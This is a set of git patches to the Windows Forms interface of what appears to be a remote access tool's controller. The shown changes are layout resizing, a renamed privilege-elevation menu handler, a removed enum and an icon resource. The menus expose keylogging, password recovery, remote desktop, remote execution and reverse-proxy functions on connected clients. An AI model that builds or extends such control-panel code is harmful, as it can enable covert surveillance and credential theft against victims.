// @@ -259,7 +266,7 @@ private void InitializeComponent() // this.standbyToolStripMenuItem.Image = global::xServer.Properties.Resources.standby; this.standbyToolStripMenuItem.Name = "standbyToolStripMenuItem"; - this.standbyToolStripMenuItem.Size = new System.Drawing.Size(178, 30); + this.standbyToolStripMenuItem.Size = new System.Drawing.Size(128, 22); this.standbyToolStripMenuItem.Text = "Standby"; this.standbyToolStripMenuItem.Click += new System.EventHandler(this.standbyToolStripMenuItem_Click); // @@ -271,14 +278,14 @@ private void InitializeComponent() this.keyloggerToolStripMenuItem}); this.surveillanceToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("surveillanceToolStripMenuItem.Image"))); this.surveillanceToolStripMenuItem.Name = "surveillanceToolStripMenuItem"; - this.surveillanceToolStripMenuItem.Size = new System.Drawing.Size(211, 30); + this.surveillanceToolStripMenuItem.Size = new System.Drawing.Size(149, 22); this.surveillanceToolStripMenuItem.Text = "Surveillance"; // // remoteDesktopToolStripMenuItem // this.remoteDesktopToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("remoteDesktopToolStripMenuItem.Image"))); this.remoteDesktopToolStripMenuItem.Name = "remoteDesktopToolStripMenuItem"; - this.remoteDesktopToolStripMenuItem.Size = new System.Drawing.Size(248, 30); + this.remoteDesktopToolStripMenuItem.Size = new System.Drawing.Size(175, 22); this.remoteDesktopToolStripMenuItem.Text = "Remote Desktop"; this.remoteDesktopToolStripMenuItem.Click += new System.EventHandler(this.remoteDesktopToolStripMenuItem_Click); // @@ -286,7 +293,7 @@ private void InitializeComponent() // this.passwordRecoveryToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("passwordRecoveryToolStripMenuItem.Image"))); this.passwordRecoveryToolStripMenuItem.Name = "passwordRecoveryToolStripMenuItem"; - this.passwordRecoveryToolStripMenuItem.Size = new System.Drawing.Size(248, 30); + this.passwordRecoveryToolStripMenuItem.Size = new System.Drawing.Size(175, 22); this.passwordRecoveryToolStripMenuItem.Text = "Password Recovery"; this.passwordRecoveryToolStripMenuItem.Click += new System.EventHandler(this.passwordRecoveryToolStripMenuItem_Click); // @@ -294,7 +301,7 @@ private void InitializeComponent() // this.keyloggerToolStripMenuItem.Image = global::xServer.Properties.Resources.logger; this.keyloggerToolStripMenuItem.Name = "keyloggerToolStripMenuItem"; - this.keyloggerToolStripMenuItem.Size = new System.Drawing.Size(248, 30); + this.keyloggerToolStripMenuItem.Size = new System.Drawing.Size(175, 22); this.keyloggerToolStripMenuItem.Text = "Keylogger"; this.keyloggerToolStripMenuItem.Click += new System.EventHandler(this.keyloggerToolStripMenuItem_Click); // @@ -306,7 +313,7 @@ private void InitializeComponent() this.showMessageboxToolStripMenuItem}); this.miscellaneousToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("miscellaneousToolStripMenuItem.Image"))); this.miscellaneousToolStripMenuItem.Name = "miscellaneousToolStripMenuItem"; - this.miscellaneousToolStripMenuItem.Size = new System.Drawing.Size(211, 30); + this.miscellaneousToolStripMenuItem.Size = new System.Drawing.Size(149, 22); this.miscellaneousToolStripMenuItem.Text = "Miscellaneous"; // // remoteExecuteToolStripMenuItem @@ -316,14 +323,14 @@ private void InitializeComponent() this.webFileToolStripMenuItem}); this.remoteExecuteToolStripMenuItem.Image = global::xServer.Properties.Resources.lightning; this.remoteExecuteToolStripMenuItem.Name = "remoteExecuteToolStripMenuItem"; - this.remoteExecuteToolStripMenuItem.Size = new System.Drawing.Size(246, 30); + this.remoteExecuteToolStripMenuItem.Size = new System.Drawing.Size(171, 22); this.remoteExecuteToolStripMenuItem.Text = "Remote Execute"; // // localFileToolStripMenuItem // this.localFileToolStripMenuItem.Image = global::xServer.Properties.Resources.drive_go; this.localFileToolStripMenuItem.Name = "localFileToolStripMenuItem"; - this.localFileToolStripMenuItem.Size = new System.Drawing.Size(180, 30); + this.localFileToolStripMenuItem.Size = new System.Drawing.Size(132, 22); this.localFileToolStripMenuItem.Text = "Local File..."; this.localFileToolStripMenuItem.Click += new System.EventHandler(this.localFileToolStripMenuItem_Click); // @@ -331,7 +338,7 @@ private void InitializeComponent() // this.webFileToolStripMenuItem.Image = global::xServer.Properties.Resources.world_go; this.webFileToolStripMenuItem.Name = "webFileToolStripMenuItem"; - this.webFileToolStripMenuItem.Size = new System.Drawing.Size(180, 30); + this.webFileToolStripMenuItem.Size = new System.Drawing.Size(132, 22); this.webFileToolStripMenuItem.Text = "Web File..."; this.webFileToolStripMenuItem.Click += new System.EventHandler(this.webFileToolStripMenuItem_Click); // @@ -339,7 +346,7 @@ private void InitializeComponent() // this.visitWebsiteToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("visitWebsiteToolStripMenuItem.Image"))); this.visitWebsiteToolStripMenuItem.Name = "visitWebsiteToolStripMenuItem"; - this.visitWebsiteToolStripMenuItem.Size = new System.Drawing.Size(246, 30); + this.visitWebsiteToolStripMenuItem.Size = new System.Drawing.Size(171, 22); this.visitWebsiteToolStripMenuItem.Text = "Visit Website"; this.visitWebsiteToolStripMenuItem.Click += new System.EventHandler(this.visitWebsiteToolStripMenuItem_Click); // @@ -347,19 +354,19 @@ private void InitializeComponent() // this.showMessageboxToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("showMessageboxToolStripMenuItem.Image"))); this.showMessageboxToolStripMenuItem.Name = "showMessageboxToolStripMenuItem"; - this.showMessageboxToolStripMenuItem.Size = new System.Drawing.Size(246, 30); + this.showMessageboxToolStripMenuItem.Size = new System.Drawing.Size(171, 22); this.showMessageboxToolStripMenuItem.Text = "Show Messagebox"; this.showMessageboxToolStripMenuItem.Click += new System.EventHandler(this.showMessageboxToolStripMenuItem_Click); // // lineToolStripMenuItem // this.lineToolStripMenuItem.Name = "lineToolStripMenuItem"; - this.lineToolStripMenuItem.Size = new System.Drawing.Size(208, 6); + this.lineToolStripMenuItem.Size = new System.Drawing.Size(146, 6); // // selectAllToolStripMenuItem // this.selectAllToolStripMenuItem.Name = "selectAllToolStripMenuItem"; - this.selectAllToolStripMenuItem.Size = new System.Drawing.Size(211, 30); + this.selectAllToolStripMenuItem.Size = new System.Drawing.Size(149, 22); this.selectAllToolStripMenuItem.Text = "Select All"; this.selectAllToolStripMenuItem.Click += new System.EventHandler(this.selectAllToolStripMenuItem_Click); // @@ -656,7 +663,7 @@ private void InitializeComponent() // listenToolStripStatusLabel // this.listenToolStripStatusLabel.Name = "listenToolStripStatusLabel"; - this.listenToolStripStatusLabel.Size = new System.Drawing.Size(129, 17); + this.listenToolStripStatusLabel.Size = new System.Drawing.Size(87, 17); this.listenToolStripStatusLabel.Text = "Listening: False"; // // lstClients @@ -741,7 +748,7 @@ private void InitializeComponent() this.aboutToolStripMenuItem}); this.menuStrip.Location = new System.Drawing.Point(0, 0); this.menuStrip.Name = "menuStrip"; - this.menuStrip.Size = new System.Drawing.Size(302, 25); + this.menuStrip.Size = new System.Drawing.Size(216, 25); this.menuStrip.TabIndex = 2; // // fIleToolStripMenuItem @@ -750,48 +757,40 @@ private void InitializeComponent() this.closeToolStripMenuItem}); this.fIleToolStripMenuItem.Font = new System.Drawing.Font("Segoe UI", 9.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.fIleToolStripMenuItem.Name = "fIleToolStripMenuItem"; - this.fIleToolStripMenuItem.Size = new System.Drawing.Size(54, 21); + this.fIleToolStripMenuItem.Size = new System.Drawing.Size(39, 21); this.fIleToolStripMenuItem.Text = "File"; // // closeToolStripMenuItem // this.closeToolStripMenuItem.Name = "closeToolStripMenuItem"; - this.closeToolStripMenuItem.Size = new System.Drawing.Size(144, 32); + this.closeToolStripMenuItem.Size = new System.Drawing.Size(108, 22); this.closeToolStripMenuItem.Text = "Close"; this.closeToolStripMenuItem.Click += new System.EventHandler(this.closeToolStripMenuItem_Click); // // settingsToolStripMenuItem // this.settingsToolStripMenuItem.Name = "settingsToolStripMenuItem"; - this.settingsToolStripMenuItem.Size = new System.Drawing.Size(88, 21); + this.settingsToolStripMenuItem.Size = new System.Drawing.Size(61, 21); this.settingsToolStripMenuItem.Text = "Settings"; this.settingsToolStripMenuItem.Click += new System.EventHandler(this.settingsToolStripMenuItem_Click); // // builderToolStripMenuItem // this.builderToolStripMenuItem.Name = "builderToolStripMenuItem"; - this.builderToolStripMenuItem.Size = new System.Drawing.Size(78, 21); + this.builderToolStripMenuItem.Size = new System.Drawing.Size(56, 21); this.builderToolStripMenuItem.Text = "Builder"; this.builderToolStripMenuItem.Click += new System.EventHandler(this.builderToolStripMenuItem_Click); // // aboutToolStripMenuItem // this.aboutToolStripMenuItem.Name = "aboutToolStripMenuItem"; - this.aboutToolStripMenuItem.Size = new System.Drawing.Size(74, 21); + this.aboutToolStripMenuItem.Size = new System.Drawing.Size(52, 21); this.aboutToolStripMenuItem.Text = "About"; this.aboutToolStripMenuItem.Click += new System.EventHandler(this.aboutToolStripMenuItem_Click); // - // askForElevationToolStripMenuItem - // - this.askForElevationToolStripMenuItem.Image = global::xServer.Properties.Resources.uac_shield; - this.askForElevationToolStripMenuItem.Name = "askForElevationToolStripMenuItem"; - this.askForElevationToolStripMenuItem.Size = new System.Drawing.Size(264, 30); - this.askForElevationToolStripMenuItem.Text = "Prompt For Elevation"; - this.askForElevationToolStripMenuItem.Click += new System.EventHandler(this.askForElevationToolStripMenuItem_Click); - // // FrmMain // - this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 23F); + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; this.ClientSize = new System.Drawing.Size(1022, 458); this.Controls.Add(this.tableLayoutPanel); @@ -869,7 +868,7 @@ private void InitializeComponent() private System.Windows.Forms.ToolStripMenuItem aboutToolStripMenuItem; private System.Windows.Forms.StatusStrip statusStrip; private System.Windows.Forms.ToolStripStatusLabel listenToolStripStatusLabel; - private System.Windows.Forms.ToolStripMenuItem askForElevationToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem elevateClientPermissionsToolStripMenuItem; } } diff --git a/Server/Forms/FrmMain.cs b/Server/Forms/FrmMain.cs index a87ca0b66..d7fcc03ea 100644 --- a/Server/Forms/FrmMain.cs +++ b/Server/Forms/FrmMain.cs @@ -628,7 +628,7 @@ private void registryEditorToolStripMenuItem_Click(object sender, EventArgs e) } } - private void askForElevationToolStripMenuItem_Click(object sender, EventArgs e) + private void elevateClientPermissionsToolStripMenuItem_Click(object sender, EventArgs e) { foreach (Client c in GetSelectedClients()) { diff --git a/Server/Forms/FrmMain.resx b/Server/Forms/FrmMain.resx index 6cd82fa68..e35801f65 100644 --- a/Server/Forms/FrmMain.resx +++ b/Server/Forms/FrmMain.resx @@ -405,7 +405,7 @@ AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4w LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0 ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAADY - sQAAAk1TRnQBSQFMAgEB+AEAAZABCAGQAQgBEAEAAQsBAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo + sQAAAk1TRnQBSQFMAgEB+AEAAaABCAGgAQgBEAEAAQsBAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo AwABQAMAAbUBAgIAAQEBAAEIBQABQAGtGAABgAIAAYADAAKAAQABgAMAAYABAAGAAQACgAIAA8ABAAHA AdwBwAEAAfABygGmAQABMwUAATMBAAEzAQABMwEAAjMCAAMWAQADHAEAAyIBAAMpAQADVQEAA00BAANC AQADOQEAAYABfAH/AQACUAH/AQABkwEAAdYBAAH/AewBzAEAAcYB1gHvAQAB1gLnAQABkAGpAa0CAAH/ From 0a6e52a12c697190c0c81c47e6a807b3ae49c3ab Mon Sep 17 00:00:00 2001 From: MaxXor Date: Wed, 30 Mar 2016 15:36:13 +0200 Subject: [PATCH 027/229] Removed unused enum --- Server/Forms/FrmConnections.cs | 15 --------------- Server/Forms/FrmMain.cs | 29 +++++++++++++++-------------- 2 files changed, 15 insertions(+), 29 deletions(-) diff --git a/Server/Forms/FrmConnections.cs b/Server/Forms/FrmConnections.cs index fc1af28ef..290b2ff4b 100644 --- a/Server/Forms/FrmConnections.cs +++ b/Server/Forms/FrmConnections.cs @@ -67,21 +67,6 @@ public void ClearListviewItems() { } } - enum ConnectionStates : byte - { - Closed = 1, - Listening = 2, - SYN_Sent = 3, - Syn_Recieved = 4, - Established = 5, - Finish_Wait_1 = 6, - Finish_Wait_2 = 7, - Closed_Wait = 8, - Closing = 9, - Last_ACK = 10, - Time_Wait = 11, - Delete_TCB = 12 - } private void FrmConnections_FormClosing(object sender, FormClosingEventArgs e) { diff --git a/Server/Forms/FrmMain.cs b/Server/Forms/FrmMain.cs index a8f8a85f4..19ba2f5d7 100644 --- a/Server/Forms/FrmMain.cs +++ b/Server/Forms/FrmMain.cs @@ -595,6 +595,21 @@ private void remoteShellToolStripMenuItem_Click(object sender, EventArgs e) } } + private void connectionsToolStripMenuItem_Click(object sender, EventArgs e) + { + foreach (Client c in GetSelectedClients()) + { + if (c.Value.FrmCon != null) + { + c.Value.FrmCon.Focus(); + return; + } + + FrmConnections frmCON = new FrmConnections(c); + frmCON.Show(); + } + } + private void reverseProxyToolStripMenuItem_Click(object sender, EventArgs e) { foreach (Client c in GetSelectedClients()) @@ -875,19 +890,5 @@ private void notifyIcon_MouseDoubleClick(object sender, MouseEventArgs e) } #endregion - - private void connectionsToolStripMenuItem_Click(object sender, EventArgs e) - { - foreach (Client c in GetSelectedClients()) - { - if (c.Value.FrmCon != null) - { - c.Value.FrmCon.Focus(); - return; - } - FrmConnections frmCON = new FrmConnections(c); - frmCON.Show(); - } - } } } \ No newline at end of file From f5f244c727c6512b12c13f6b72446b53b2b594da Mon Sep 17 00:00:00 2001 From: MaxXor Date: Wed, 30 Mar 2016 15:38:55 +0200 Subject: [PATCH 028/229] Fixed Connections Form --- Server/Forms/FrmConnections.Designer.cs | 5 +- Server/Forms/FrmConnections.resx | 539 ++++++++++++++++++++++++ 2 files changed, 543 insertions(+), 1 deletion(-) diff --git a/Server/Forms/FrmConnections.Designer.cs b/Server/Forms/FrmConnections.Designer.cs index 20f93526b..32fa8d85a 100644 --- a/Server/Forms/FrmConnections.Designer.cs +++ b/Server/Forms/FrmConnections.Designer.cs @@ -29,6 +29,7 @@ protected override void Dispose(bool disposing) private void InitializeComponent() { this.components = new System.ComponentModel.Container(); + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmConnections)); this.contextMenuStrip = new System.Windows.Forms.ContextMenuStrip(this.components); this.refreshToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.closeConnectionToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); @@ -121,9 +122,11 @@ private void InitializeComponent() this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; this.ClientSize = new System.Drawing.Size(555, 411); this.Controls.Add(this.lstConnections); + this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); this.Name = "FrmConnections"; this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; - this.Text = "Connections"; + this.Text = "Connections []"; this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.FrmConnections_FormClosing); this.Load += new System.EventHandler(this.FrmConnections_Load); this.contextMenuStrip.ResumeLayout(false); diff --git a/Server/Forms/FrmConnections.resx b/Server/Forms/FrmConnections.resx index 2d8292bab..b8bc5965a 100644 --- a/Server/Forms/FrmConnections.resx +++ b/Server/Forms/FrmConnections.resx @@ -120,4 +120,543 @@ 17, 17 + + + + AAABAAQAEBAAAAAAIABoBAAARgAAACAgAAAAACAAqBAAAK4EAAAwMAAAAAAgAKglAABWFQAAQEAAAAAA + IAAoQgAA/joAACgAAAAQAAAAIAAAAAEAIAAAAAAAQAQAAAAAAAAAAAAAAAAAAAAAAAD///8B////Af// + /wH///8B////Af///wE/LyhBOSkiyzkpIslBMSo9////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AUg4MSE6KiOrNycg/T4uJ/87KyT/Nycg/TsrJKdKOjMf////Af///wH///8B////Af// + /wH///8BXExFCzsrJIE3JyD1OSki/zkpIv9PQDr/Szs1/zkpIv84KCH/Nycg8zsrJH0/LygL////Af// + /wH///8BPCwlVTcnIOE4KCH/OCgh/zcnIP81JR7/YVRP/1pMRv82Jh//OCgh/zgoIf84KCH/OCgh3zws + JVH///8BWUlCJTcnIPc4KCH/QzQt/4B1cP+Dd3L/fnJt/6uioP+jmpb/bF9Z/2pcVf9jVU7/PCwl/zgo + If84KCHza1tUH1NDPCs3JyD7eGtm/4J2cv87KyT/MSEa/z8vKP+vpqL/q6Ke/z0tJ/82JyD/NSUe/1pL + Rf9QQDr/OCgh9W5eVyNTQzwrNiYf+4h8eP83JyD/YFBJ/7yspf+woZv/iXt1/41+d/+Gdm7/bl5X/0Ex + Kv84KCH/U0M8/zUlHvVuXlcjU0M8KzcnIPs1JB3/c2Nc/5CAef/IuLH/qaGf//7+/v/+/v7/3dXR/6ub + lP/Nvbb/WUlC/04+N/84KCH1bl5XI1NDPCs4KCH7OCgh/35uZ/+Tg3z/hHRu/5SIg//9/f3//v39/97S + zP9pWVP/0sK7/1dHQP83JyD/OSki9W5eVyNTQzwrOCgh+zkpIv82Jh//YFBJ/5mJgv+zopv/6+bj/9vW + 1P9pWFH/eGhi/0w8Nf83JyD/OSki/zkpIvVuXlcjU0M8KzgoIfs5KSL/OCgh/zwsJf84KCH/NiYf/5GI + hP+MgX3/Nycg/zgoIf9aTEb/WUtG/zkpIv85KSL1bl5XI1ZGPyc4KCH5OCgh/zgoIf+upqP/TT85/zgo + If9uYl3/aVxX/zgoIf84KCH/kIaC/5CGgv84KCH/OCgh83BgWSGHd3ADPi4nYTgoIek4KCH/Sjs0/zUl + Hv84KCH/WUtF/1FDPf9BMSr/loyI/zsrJP88LCX/OSki5z4uJ13///8B////Af///wFKOjMROyskjTgo + Ifk4KCH/OSki/0Y2L/9DMyz/OCgh/zUlHv84KCH5Oioji1NDPA////8B////Af///wH///8B////Af// + /wFGNi8pOCghtTgoIf84KCH/OCgh/zcnIP06KiOxQTEqJ////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wE8LCVJOCgh0zgoIdE+LidH////Af///wH///8B////Af///wH///8BAAD//wAA + //8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//ygA + AAAgAAAAQAAAAAEAIAAAAAAAgBAAAAAAAAAAAAAAAAAAAAAAAAD///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8Bbl5XBUY2L105KSLTOioj0U09NlVWRj8D////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AU8/ODs6KiPBNSUe/zkpIv83JyD/NCQd/Toq + I7tZSUI1////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AWtbVB8+LiedNiYf9zcnIP85KSL/OSki/zcn + IP83JyD/NiYf/zUlHvVCMiubZVVOGf///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AVJCOwlHNzB3Nycg7zYmH/85KSL/OCgh/zkp + Iv9NPTb/RTUu/zgoIf84KCH/OCgh/zYmH/83JyDrSTkycWNTTAf///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AUs7NANPPzhROCgh1zUlHv85KSL/OSki/zkp + Iv85KSL/OSki/1xNRv9XR0D/OSki/zkpIv85KSL/OSki/zgoIf80JB3/Oioj0UExKkVgUEkD////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFcTEUtPS0mtTMjHP04KCH/OCgh/zkp + Iv85KSL/OSki/zkpIv83KCH/cGNe/2FUT/85KSL/OSki/zkpIv85KSL/OSki/zgoIf84KCH/NSUe/UAw + KbE/Lygn////Af///wH///8B////Af///wH///8B////Af///wFUQzwVQTEqkzMjHPU3JyD/OCgh/zkp + Iv85KSL/OSki/zkpIv85KSL/OCgh/zMjHP+Ngnz/eGtl/zYmH/85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/Nycg/zUlHvNAMCmNTz84E////wH///8B////Af///wGyopsDSTkyVTUlHuU1JR7/OSki/zgo + If84KCH/OCgh/zgoIf83JyD/NSUe/zQkHf8xIBn/JRYQ/56Wk/+Sh4P/KRgS/zMiG/81JR7/Nycf/zgo + If84KCH/OCgh/zkpIv85KSL/OCgh/zYmH/83JyDjRjYvTf///wH///8B////AWNTTD82Jh/pOCgh/zkp + Iv85KSL/OSki/zUkHf8sHBT/OSkh/1pKRP+He3b/pp6a/7KrqP+1ran/6eXk/+Da2P+upJ//opiU/46B + fP9uYFr/Szw2/zMjHP8xIBn/OCgh/zkpIv85KSL/OSki/zgoIf81JR7haFhRM////wH///8BUUE6VTgo + IfU4KCH/OSki/zYmH/8vHRb/cWRf/8K7uP/Y09H/raWh/4B0b/9cTEb/RDQs/yoZFP/k4N7/2NPR/ykX + D/85KSL/SToz/2ZXUP+JfHb/npGL/4t/ev9QQTr/Lh4W/zkpIv84KCH/OSki/zgoIe1uXldF////Af// + /wFTQzxTNycg9TgoIf8wIBj/X09J/9rW1P+upqL/UUI7/y0cFP8sHBT/MyMc/zkpIv87KyT/SDgw//n4 + 9//18/P/PCwl/zssJf85KSP/OSki/zIiG/8sHBT/OCgg/21gWf+UiIL/Py8n/zYnIP85KSL/OCgh625e + V0P///8B////AVNDPFM3JyD1NSUf/21fWf/k4N//U0M8/y0cFP83Jh//OCgh/zIiG/8zIxz/Py8o/0k4 + Mv+HeXX/9e7r//n08f+CdXH/Rzcw/zoqI/84KCH/OCgh/zcnIP85KSL/NCQd/zIhGv+JeXP/RDQt/zkp + Iv84KCHrbl5XQ////wH///8BU0M8UzgoIfUzIhv/4dzb/1JCPf82Jh//OCgh/zYmH/9AMCn/lYV+/8Cw + qf/Pv7j/3c3G/8Gxqv+Id3H/X05H/1REPv9MPDX/Oioj/zEhGv8vHxj/NCQd/zgoIf85KSL/OSki/y4e + F/+Ab2n/MyMc/zgoIetuXldD////Af///wFTQzxTOCgh9TYnIP+7sq//MSAZ/zcnIP82Jh//Pi4n/8y8 + tf/QwLn/zLy1/8W1rv9RQj//UUM+/4yAfP+6raj/x7ix/8a1rf/Lu7T/uqqj/56Oh/9nV1D/MyMc/zcn + IP84KCH/Lx8Y/3FhWv8xIRr/OCgh625eV0P///8B////AVNDPFM3JyD1OCgh/y0cFP85KSL/QjIr/3Zm + X/9pWVL/1cW+/8y8tf/Ovrf/RTg0/8rEwf/+/f3///7+///////+/f3/7+jl/6SUjP/Nvbb/0MC5/9XF + vv/EtK3/Rzcw/zYmH/9FNS7/X09I/zgoIf84KCHrbl5XQ////wH///8BU0M8UzcnIPU4KCH/OCgh/zUl + Hv9tXVb/p5eQ/zgoIf/Lu7T/z7+4/7ioof+WjIj///7+///+/v/////////////+/v//////4dnV/1FA + Ov+/r6j/zb22/86+t/+snJX/PS0m/19PSP80JB3/OSki/zgoIetuXldD////Af///wFTQzxTNycg9Tgo + If85KSL/Nycg/1lJQv/czMX/eWli/zUlIP+Ccmz/t6eg/6KTjP/39vX///////////////////////z5 + +f/YycL/fm5n/2JSTP/Vxb7/zb22/6ublP8xIRr/NSUe/zgoIf85KSL/OCgh625eV0P///8B////AVND + PFM3JyD1OCgh/zkpIv85KSL/MCAZ/5SEff/ezsf/wbGq/39vaf9aSkT/Tz84/2lZUv/6+fj///7+///+ + /v/8+/r/0MC5/9TFvv9BMSv/hHRt/9fHwP/Pv7j/Sjoz/zcnIP84KCH/OCgh/zkpIv84KCHrbl5XQ/// + /wH///8BU0M8UzcnIPU4KCH/OSki/zkpIv84KCH/MCAZ/2ZWT/+1pZ7/2srD/97Ox//by8T/08K6/+/o + 5P///v7///7+//Lr5/+9rKX/Tz84/29gW//UxL3/kIB5/zsrJP82Jh//OCgh/zkpIv85KSL/OSki/zgo + IetuXldD////Af///wFTQzxTNycg9TgoIf85KSL/OSki/zgoIf84KCH/NSUe/zAgGf9ENC3/ZlZP/4V1 + bv+YiIH/vrKt//////////7/fnBs/zQkHf9jU03/ZVVO/zkpIv8wIBn/NiYf/zYmH/84KCH/OSki/zkp + Iv85KSL/OCgh625eV0P///8B////AVNDPFM3JyD1OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OCgh/zgo + If83JyD/NCQd/zMjHP8+Lin/9/b2//Py8f84JyD/OCgh/zYmH/83JyD/OCgh/zgoIf9PQDr/Tj44/zkp + Iv85KSL/OSki/zkpIv84KCHrbl5XQ////wH///8BU0M8UzcnIPU4KCH/OSki/zkpIv85KSL/OCgh/zgp + If9HNjD/Nych/zgoIf84KCH/OCgh/y0cFP/k4N7/2NPR/ysaE/84KCH/OCgh/zkpIv85KSL/KxsV/7Sr + qf+1rKr/KxsV/zkpIv85KSL/OSki/zgoIetuXldD////Af///wFRQTpVNycg9TgoIf85KSL/OSki/zkp + Iv84KCH/TkA8/9jRzv9AMy7/Nycg/zkpIv84KCH/KhkS/8C4tf+yqqb/LR0W/zkpIv85KSL/OSki/zUl + Hv9wYlv//v39//79/f9vYVv/NSUe/zkpIv85KSL/OCgh7W1dVkX///8B////AVpKQ0U3JyDtOSki/zkp + Iv84KCH/OSki/zcnIP+nnZj/7uvp/46EgP8xIBn/OSki/zkpIv8vHxj/oJeU/5SJhP8xIRv/OSki/zYm + H/8+Lif/NSQd/ywcFv+nnpr/p56a/ywcFv85KSL/OSki/zkpIv83JyDlc2NcOf///wH///8Bh3dwBUU1 + Lmc3JyDzNycg/zgoIf85KSL/OCgh/zEgGv+Ngn3/LBsV/zkpIv85KSL/OSki/zMjHP+Lf3r/dWlk/zYn + IP86KiP/U0Q///n49/91Z2L/MyMc/0o6M/9IODL/OSki/zkpIv83JyD/NCQd70o6M1+jk4wD////Af// + /wH///8B////AVVFPiU/LyipNiYf+zgoIf84KCH/OCgh/zEhGv85KSL/OCgh/zkpIv84KCH/OCgh/29i + Xf9hU0//Oioj/zkpIv89LCX/n5aS/0o8Nf84KCH/NyYg/zYmH/84KCH/NSUe+UIyK6NeTkch////Af// + /wH///8B////Af///wH///8B////Af///wFJOTJBOyskyTQkHf85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/W0tF/1ZHQP85KSL/OSki/zgpIv8uHhb/Nycg/zkpIv85KSL/NSUe/zsrJMdSQjs7////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFpWVIHSjozZTcnIOc3JyD/OCgh/zgo + If85KSL/OSki/zkpIv9LOzT/RjYv/zgoIf85KSL/OCgh/zcnIP84KCH/Nycg/zoqI+VFNS5deGhhBf// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BTz84E0Q0 + LY00JB31NiYf/zkpIv85KSL/OSki/zkpIv83JyD/OCgh/zkpIv84KCH/Nycg/zgoIfM+LyiFWEhBEf// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AUExKi0/LyizNSUe+zgoIf84KCH/OCgh/zgoIf84KCH/OCgh/zQkHfs+LierSDgyKf// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////AV1NRgNBMSpHOiojzzMjHP84KCH/OCgh/zQkHf86KiPNRzcwQ/// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFVRT4JSjozbzYmH+E4KCHfQjIraUg4 + MQn///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAoAAAAMAAAAGAAAAABACAAAAAAAIAlAAAAAAAAAAAAAAAAAAAAAAAA////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wFuXlYDUEA5Kz8vKHs8LCXNPy8oyUY2L3NURD0lVkY/A////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AUU1LhVGNi9ZPS0mwzQkHfc2Jh//NSUe/zYmH/U7KyS7RTUuT0o6MxP///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8BV0dAQz4uJ6M2Jh/nNSUe/zgoIf85KSH/Nycg/zcnIP82Jh/9Nycg40U1 + 